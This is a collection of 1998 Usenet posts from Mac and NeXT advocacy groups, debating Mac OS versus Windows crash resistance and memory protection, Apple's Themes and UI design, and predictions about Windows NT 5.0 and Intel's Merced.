References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <joe.ragosta-0108980734160001@elk78.dol.net> <MPG.102cdcef3b927c5d989a6e@news.supernews.com> <6pvp48$5m3$2@lwnws01.ne.highway1.com> <MPG.102e3ecc5608a225989a74@news.supernews.com> <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7jsh$csm$1@lwnws01.ne.highway1.com> <1dd8tlu.164a1fk1jc8w0N@roxboro0-050.dyn.interpath.net> <6q7su0$jhu$1@lwnws01.ne.highway1.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
John Kheit <jkheit@mediaone.net> wrote:
> phenix@interpath.com (John Moreno) wrote:
-snip-
> > It's like a childish, "I know what I am, but what are you?" -
> > it's been a while since I saw it and it was worth a "hah".
>
> I don't think I missed the point at all. If you had read through
> my post, you'd see, I specifically, and explicitly stated that I
> understood the point was a twit slam. But even during a slam, one
> can make a misrepresentation. I think you're missing that point.
You mean:
>| What bugs me is the implication that I think only scum use lawyers,
>| which I don't.
I think that /because/ it's a such a "twit/comeback" that it doesn't
actually contain that implication. Any more than if he'd used (the much
better IMO) "and he should know, being both", which slams both you and
your profession.
> They are not mutually exclusive actions by any stretch. In fact,
> it seems that all too often, one seems to accompany the other in
> certain people's posts.
What's the fun of insulting people on what they actually say? -
alt.flames would be a wasteland if people did that.
--
John Moreno
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 22:02:53 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6q80ed$3sk$1@supernews.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7f84$3b0$1@supernews.com> <joe.ragosta-0408981332340001@wil66.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6q7f84$3b0$1@supernews.com>, kari@gti.net wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > In article <6q77g6$sme$1@supernews.com>, kari@gti.net wrote:
> Sure. But he said that scum use lawyers more. And he also implied
> that it's the scum who start things.
Your mileage obviously varies. I heard -- both good people and
scum use lawyers and it depended on who used them and why. I did
not read a thing that implied that either bad people or good people
start things -- just that they 'use' lawyers.
> > > It seems perfectly reasonable to put those two threads
> > > together.
> >
> > Yes, it is reasonable.. but a suggestion... when reading a post
> > of John's.. look at the intent of what he is saying. Taking
> > John's postings verbatim, you are probably missing the point.
> So I'm supposed to ignore him when he threatens to sue me because
> he might mean something else?
I think it's very clear... his intent is clear, John's intent is
to sue you, if further provoked. I don't see the confusion.
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 4 Aug 1998 13:42:18 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q7s8v$koa$1@plo.sierra.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 4 Aug 1998 20:51:43 GMT
grice@panamsat.com wrote in message <6q7kmh$bro$1@nnrp1.dejanews.com>...
>Actually if all you have in the app is:
>
>void main ()
>{
> strcpy((char *)0);
>}
>
>
>the app will fail silently since the toolbox was never initialized. You
need
>that to happen before ANYTHING useful comes out of it.
Wrong. strcpy does not use any of the toolbox, and thus not initializing it
will make no difference. Check it out yourself. Put the following line
ANYWHERE in a Mac app:
strcpy((char*)0, "I'm sorry that the previous string wasn't quite long
enough to crash MacOS, but this one is.");
MacOS cannot deal with writing to low memory, period. You cannot change
that. Someday in the future, that may change, but not as of today.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: A couple of predictions
Date: 4 Aug 1998 20:50:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6q7s77$spj@newsb.netnews.att.com>
Originator: gupta@tlctest
I'm going to make a wild guess :
Two engineering projects may end up being textbook cases,
just like the first Tacoma Narrows Bridge.
a. Microsoft Windows NT 5.0
b. Intel's P7/Merced
The reasons :
* the 30+ million lines of code that make up NT 5.0,
and what I understand about software engineering.
NT 5.0 could possibly be the NT 4.0 kernel with bugs
removed, and 14 to 16 million-line applications that
obey proper layering, do not interfere with each other,
etc. In which case, it might work.
* For the Merced :
Take a look at the editorial at http://www.chipanalyst.com/,
"What's wrong with Merced".
Intel will probably succeed with version 2, McKinley.
****
AIM, of course, will squander any opportunity these potential
missteps will provide. This is already in the textbooks.
(PowerPC in the middle of its lifecycle, IBM's copper and S-O-I
break-throughs in process technology, Apple having the potential
for a great OS for the consumer space, and for the business space;
Altivec -- all these potential advantages will go kaboom !
This is not a guess :-( )
-arun gupta
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 4 Aug 1998 16:04:13 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q84ju$pc6$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net>
NNTP-Posting-Date: 4 Aug 1998 23:14:06 GMT
Joe Ragosta wrote in message ...
>This is nonsense. The issue is that you're alleging that MacOS breaks more
>than Windows. I'm not interested in the theory because there are plenty of
>examples on both sides.
Then provide just one example of some code that crashes Windows! I've
provided several for MacOS. Otherwise, you're just blowing smoke.
>I want some evidence from the REAL WORLD (perhaps you've heard of it). As
>soon as you can show that Mac OS fails more often than Win95 and that Mac
>OS causes more data loss (per capita) than Win95, you'll win the argument.
I'm claiming, that the real world evidence follows the theory (lack of
memory protection causes more frequent system crashes). You're claiming that
despite the theory, real world evidence is different. How about you provide
some evidence, rather that constantly calling for someone else to provide
it?
>Until you can provide some evidence, you lose.
No, you lose. A bug in a Windows app is less likely to crash the system than
a bug in a Mac app. Several examples have been posted that crash MacOS, none
that crash Windows. It likely follows, that MacOS will crash more often,
unless you can prove that Mac apps have far fewer bugs. Prove it.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 04 Aug 1998 10:48:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35C72D4A.22D9ECCE@milestonerdl.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Craig(nospam)Koller wrote:
>and without NeXT
> there'd be no Tim Berners Lee making this thing that's transforming the
> world.
But, But.... Micro$oft just sued the government, claiming a baseless
suit. And I'm SURE it will be showen to All of us how Gates SAW the
Internet, that's why IE was to be a part of Windows 3.11 upgrade to a 32
bit OS.
> This is all silly. It's just a damn box.
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 4 Aug 1998 23:35:27 GMT
Organization: Simon Fraser University
Message-ID: <6q85rv$jfs$1@morgoth.sfu.ca>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com>
Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
>I'm still waiting for someone to post some code that will crash even Win95,
>not to mention WinNT.
Sorry, no actual code, but I found this article on DejaNews a while back:
http://x1.dejanews.com/getdoc.xp?AN=151618401&CONTEXT=888058833.1308295445
It states that the entire kernel space of Windows 95 is left unprotected,
which I also seem to recall from an independent source back when it first
shipped. I'm sure I saw a program back then, which zeroed in on kernel
memory and started overwriting it, but I have no idea where to find it now,
and I don't know enough about Windows memory management to reproduce it :).
All I remember is that it seemed extremely simple, probably no more than
10 lines of C code.
-- Erick
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 05 Aug 1998 00:43:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q89qq$mvp$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net>
In article <joe.ragosta-0408981651440001@wil36.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> This is nonsense. The issue is that you're alleging that MacOS breaks more
> than Windows. I'm not interested in the theory because there are plenty of
> examples on both sides.
We are talking about a small subset of all possible "breaks." I can break my
system by formatting the hard disk, throwing it against a wall or deleting the
operating system. But I don't have a problem with any of these things. OTOH, I
cannot prevent application bugs from crashing my system without a little help
from the OS. I am not sure how you could argue that, in this sense, the Mac OS
provides protection than is as good as Windows 95's because it's protection is
a strict subset of Window 95's.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 5 Aug 1998 00:50:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q8a9c$t4$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca>
erick@sfu.ca (Erick Bryce Wong) wrote:
> memory and started overwriting it, but I have no idea where to find it now,
> and I don't know enough about Windows memory management to reproduce it :).
>
> All I remember is that it seemed extremely simple, probably no more than
> 10 lines of C code.
I wonder how valid a test that is. I think 10 well written lines of code
could bring down almost any operating system. Not to say that win95 is
therefor good (I don't think it is), nor is it saying that many other
operating systems are bad (many are rather good). I think it's just saying
that many clever people out there can play the crash tune in 10 lines or
less. Although I might be wrong on this.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 17:31:37 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0408981731370001@news>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <35C72BA2.F645A6CA@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> But no. The Next Big Thing is -- God help us -- "Themes". Turn my
> desktop into a screensaver, or a menagerie of little electronic animals.
> Just what I always wanted to be, the Digital Zookeeper. Sheesh.
Just to defend Themes to a point, they are more than just a new face on old
behaviors. In fact, I even talked with one of the engineers one time about
how they could be used as an aid to visually-impaired people, with extra
audio cues linked to certain behaviors, audio reading of controls, stuff
like that. It's more powerful than it looks at first.
Andy Bates.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 05 Aug 1998 00:51:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q8abf$nvs$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net>
In article <joe.ragosta-0408981649060001@wil36.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Here it is--Chrome requires 300 MHz PII or faster and Win98 or newer.
> Sounds like great backwards support. When did the 300 MHz PII come out? 6
> months ago? And it won't support a new MS technology?
A few relevant differents:
1) Chrome is not an operating sytem
2) Chrome actually requires a fast CPU to do it's job (but I believe that
Chrome will run on any PII if you don't mind it being slow)
Remember when Quickdraw 3D came out and it didn't support the 68K Macs? I
don't think anyone really complained because they weren't fast enough to make
use of it anyway. OTOH, the 9500/350 is actually faster than the G3 when
performing many tasks.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 01:51:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q8dr0$tck$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca>
In article <6q85rv$jfs$1@morgoth.sfu.ca>,
erick@sfu.ca (Erick Bryce Wong) wrote:
> It states that the entire kernel space of Windows 95 is left unprotected,
> which I also seem to recall from an independent source back when it first
> shipped.
This is true only of 16-bit programs.
> All I remember is that it seemed extremely simple, probably no more than
> 10 lines of C code.
You could do it in one, just make sure that you target your program for win16.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 20:55:31 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35C7BB93.C369E74B@nstar.net>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news>
Mime-Version: 1.0
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NNTP-Posting-Date: 5 Aug 1998 02:05:59 GMT
Andy Bates wrote:
> > But no. The Next Big Thing is -- God help us -- "Themes". Turn my
> > desktop into a screensaver, or a menagerie of little electronic animals.
> > Just what I always wanted to be, the Digital Zookeeper. Sheesh.
>
> Just to defend Themes to a point, they are more than just a new face on old
> behaviors. In fact, I even talked with one of the engineers one time about
> how they could be used as an aid to visually-impaired people, with extra
> audio cues linked to certain behaviors, audio reading of controls, stuff
> like that. It's more powerful than it looks at first.
No, you've just pointed out that it adds audio masks in addition to
graphical masks, that's all. It may be useful; in fact, I'm sure it will
be. It still fails to impress me at all. I guess you can blame it on
incredibly sh***y software like X11's Enlightenment and that silly
WinAmp skins stuff. I can't believe people actually waste coding skills
on such nonsense, let alone users wasting time downloading and gaping at
it.
Maybe it's just a phase everyone goes through or something. I remember
how much time I spent, once, customizing and diddling with all kinds of
things on my desktop. At some point you realize three things:
1) I've spent a long long time doing this
2) My desktop looks worse than it originally did
3) I've gotten exactly zero useful things done
Maybe Theme writers will be professional artists who know what they're
doing and are paid to make things look nice. That would be great; even I
would applaud. The only problem is that if we're going to have
professionals working on this stuff we're wasting their time with
Themes. The original Copland appearance manager was *way* more
ambitious, and the reason they threw out all the really good stuff was
to make it so any old user could make a "Theme". Instead of real
programmers writing real functionality into the OS, all you get is a
bunch of sounds and graphics layered over professional original work.
Call me bitter, that's the way I feel about it.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 21:19:25 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35C7C12D.27B1F81D@nstar.net>
References: <andyba-ya02408000R0308981239370001@news> <1998080402284700.WAA23434@ladder03.news.aol.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 5 Aug 1998 02:30:20 GMT
WillAdams wrote:
> It's a trade-off. If those three commands are among the most frequently
> utilised, there's a gain in efficiency, especially if the menu is arranged so
> as to make the best use of available space and allow for a reasonable amount of
> expansion and efficiency of space.
If you use a different widget for efficient groupings, there is no
trade-off. I could always add convenient text-manipulation commands to
the String class, but that would make it an NSText class, not a nice
portable convenient String class. I could always add extra commands to a
CPU's ISA, but that would make it CISC, not nice, fast, easy-to-program
RISC. I could always add extra keys to my keyboard, but that would make
it a console or a mixing board or a control panel or a telephone, not a
standard, compact keyboard.
> (MJP, lost your response on my previous statement about efficiency experts,
> feel free to comment here).
All I said was that efficiency is not the only concern relevant to UI
design. If efficiency is allowed to reign at the expense of other
classical UI factors like "consistency", "correctness", "simplicity",
and "predictability", the total quality suffers.
[Note: I said "total quality", but upon reflection I want to make clear
that this should not be confused with the incrementalist approaches of
"TQM", or "Total Quality Management". That is definitely not what I
mean; quite the opposite]
> I frequently am manipulating a large assortment of paperwork, paper, film and
> negative images and cardboard boxes and scraps and plots as I work, and often
> find it more efficient to use the mouse to make a selection than to clear off
> or reach under the stack on top of the keyboard to do something on my
> system--this sort of thing is easier to manage on my NeXT at home than the Mac
> at work since I can arrange the menus on-screen to match my needs.
...yeah...I don't know what to tell you. This is sort of like saying the
interface doesn't match the needs of disabled persons, so we have to
bastardize it to fit them. While I humbly support disabled persons of
all kinds, this is wrong. There are special software support add-ons for
disabled people; maybe a little UI extensions would give you and all the
other shorthanded people a little break. I just don't think it belongs
in the main UI profile. I mean, I don't leave Easy Access keyboard
mousing enabled on my Mac; I use the arrow keys for more useful things!
Overloading standard objects shouldn't be done when it yields trivial
gains, because excessive overloading confuses the crap out of people
like me (maybe I'm the only one).
What's the difference, if it's an option of some kind anyway? Make the
barrier between the user and the option high enough that they don't do
it casually or by accident. Make them *really* want the specific feature
(i.e. pay for 3rd-party software) before they get it. If it's just there
in the standard UI, people will assume it's good and right and proper to
use it and before you know it you have Windows 95 and all hell breaks
loose.
Interestingly enough, the opposite argument applies to why Apple should
not make an X server a 3rd-party option. I'll leave the application as
an exercise for the reader.
> If neither of you need that flexibility, fine, but I've yet to see either of
> you make a compelling statement which gainsays the appropriateness of Apple
> providing such options.
This isn't the first time I've brought up the overloading issue. When I
say overloading, I mean it in the same awful, evil way that it's used in
C++ to overload what looks like a 'plus' operation but, according the
sick, disturbed whim of some brilliant hacker in the guts of your
company, doesn't mean anything of the kind.
I mean it in the way that makes higher mathematics so excruciatingly
cerebral because some dumbass in France 100 years ago decided to use
your favorite vector-manipulation notations to symbolize generating
functions, or whatever! Instead of moving math into instinctive memory
and using symbols as aids, one has to learn an entirely different
alphabet based on the old symbols! It sucks rocks, and it should *never*
be done in interfaces. Let the user mess themself up with 3rd-party
software if they like, don't make it a standard option.
Dim-wittedly yours,
MJP
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 4 Aug 1998 19:44:32 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q8hgo$31i$1@plo.sierra.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca>
NNTP-Posting-Date: 5 Aug 1998 02:54:16 GMT
Erick Bryce Wong wrote in message <6q85rv$jfs$1@morgoth.sfu.ca>...
>Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
>>I'm still waiting for someone to post some code that will crash even
Win95,
>>not to mention WinNT.
>
>Sorry, no actual code, but I found this article on DejaNews a while back:
>
>http://x1.dejanews.com/getdoc.xp?AN=151618401&CONTEXT=888058833.1308295445
>
>It states that the entire kernel space of Windows 95 is left unprotected,
>which I also seem to recall from an independent source back when it first
>shipped. I'm sure I saw a program back then, which zeroed in on kernel
>memory and started overwriting it, but I have no idea where to find it now,
>and I don't know enough about Windows memory management to reproduce it :).
>
>All I remember is that it seemed extremely simple, probably no more than
>10 lines of C code.
I'll accept that. That means that MacOS is 10 times easier to crash than
Win95. To take it one step further, I would venture that Win95 is 10 times
easier to crash than MacNT.
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: Wed, 05 Aug 1998 03:23:02 GMT
Organization: KU
Message-ID: <35c8ccc6.7074422@198.0.0.100>
References: <6q7s77$spj@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 5 Aug 1998 03:26:30 GMT
On 4 Aug 1998 20:50:47 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
>
>I'm going to make a wild guess :
>
>Two engineering projects may end up being textbook cases,
>just like the first Tacoma Narrows Bridge.
>
>a. Microsoft Windows NT 5.0
>b. Intel's P7/Merced
>
>The reasons :
> * the 30+ million lines of code that make up NT 5.0,
> and what I understand about software engineering.
Have you ever used NT5? I've had the chance to spend some time behind
a system running NT5 Beta 2 and it just plain rocks. It is already
stable (very) and FAST. I wish M$ would hurry up and get it on the
shelves. I always thought the people waiting outside of Computer City
at midnight waiting to buy 95 and 98 were sorta nutty, but I'll be in
line at midnight to buy NT5. Trust me, until you see it running, you
have NO idea just how great it is.
Just imagine, a consumer computer with multiple monitors, multiple
CPUs, REAL multitasking, REAL protected memory, Real Multi User
support and all the software. Plug and Play too. Oh, did I mention
you can buy systems to run it on from more than just one manufacturer?
> NT 5.0 could possibly be the NT 4.0 kernel with bugs
> removed, and 14 to 16 million-line applications that
> obey proper layering, do not interfere with each other,
> etc. In which case, it might work.
It is a lot more than NT4 with bug fixes. Just wait until someone
actually lets you try it out. You will see.
>
> * For the Merced :
Haven't used the Merced yet, so I can't say anything about it. Of
course, you can spout all the conjecture you want.
Nathan A. Hughes
MFA Candidate
The University Theatre, KU
http://scenedesign.home.ml.org
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 5 Aug 1998 04:26:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q8mti$ds6@news1.panix.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q14vb$5kn$1@andros.cygnus.com> <joe.ragosta-0308981526240001@wil66.dol.net> <6q5l9n$kr4$1@pale-rider.INS.CWRU.Edu> <macghod-0308982307080001@sdn-ar-002casbarp139.dialsprint.net>
(newsgroups trimmed)
On Mon, 03 Aug 1998 23:07:01 -0700, Steve Sullivan
<macghod@concentric.net> wrote:
>> <sarcasm>
><snip>
>> Visit <http://www.evangelist.macaddict.com/>
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>Guess that explains why you cant add a single point of fact to your post
>and have to rely on sarcasm, and ad hominum attacks
Steve, you thought it was funny when I did the same exact thing to Joe.
You even put it in your .sig file.
It is one thing to be angry at Apple, it is another to drive yourself
crazy over it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 5 Aug 1998 04:26:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q8mtk$ds6@news1.panix.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news>
On Tue, 04 Aug 1998 17:31:37 -0700, Andy Bates <andyba@corp.webtv.net> wrote:
>Just to defend Themes to a point, they are more than just a new face on old
>behaviors. In fact, I even talked with one of the engineers one time about
>how they could be used as an aid to visually-impaired people, with extra
>audio cues linked to certain behaviors, audio reading of controls, stuff
>like that. It's more powerful than it looks at first.
Another area where themes might be helpful is kiosk/ATM/embedded systems.
I would love to be able build a "Kiosk" theme that would offer large buttons
and a menu that pops up in the center of the screen when the user presses the
large "menu" button on the keypad. Theoretically most software should work
in this environment. It would be just another system you deploy to.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
